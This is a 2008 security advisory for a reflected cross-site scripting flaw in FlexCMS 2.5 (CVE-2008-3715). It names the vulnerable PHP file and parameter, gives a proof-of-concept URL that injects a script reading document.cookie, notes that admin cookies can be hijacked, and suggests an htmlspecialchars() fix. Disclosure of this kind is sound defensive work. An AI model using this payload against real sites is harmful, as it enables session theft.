FlexCMS <= 2.5 Cross Site Scripting Vulnerability

2008-08-15 / 2008-08-16

Credit: irancrash

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2008-3715

CWE: CWE-79

CVSS Base Score: 2.6/10

Impact Subscore: 2.9/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

 ----------------------------------------------------------------
Script : FlexCMS <= 2.5
Type : Cross Site Scripting Vulnerability
Alert : Low
----------------------------------------------------------------
Download From : http://www.flexcms.com/
----------------------------------------------------------------
Discovered by : Khashayar Fereidani Or Dr.Crash
My Website : http://FEREIDANI.IR
Team Website : http://IRCRASH.COM
Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com
----------------------------------------------------------------
Cross Site Scripting Vulnerability :
File Name : inc-core-admin-editor-previouscolorsjs.php
Vulnerable Variable : PreviousColorsString
Send Method : GET
Register_globals : On
Dangerous PHP Code (LINE 53) : print 'document.write(\''.$PreviousColorsString.'\');';
Address : http://example/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script>
Attacker can hijack admin cookie with this vulnerability ....
Solution for patch : filter PreviousColorsString variable with htmlspecialchars() function ...
----------------------------------------------------------------
Tnx : God
http://IRCRASH.COM
----------------------------------------------------------------

References:

http://www.securityfocus.com/bid/30709

http://www.securityfocus.com/archive/1/archive/1/495508/100/0/threaded

http://secunia.com/advisories/31532

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

FlexCMS <= 2.5 Cross Site Scripting Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.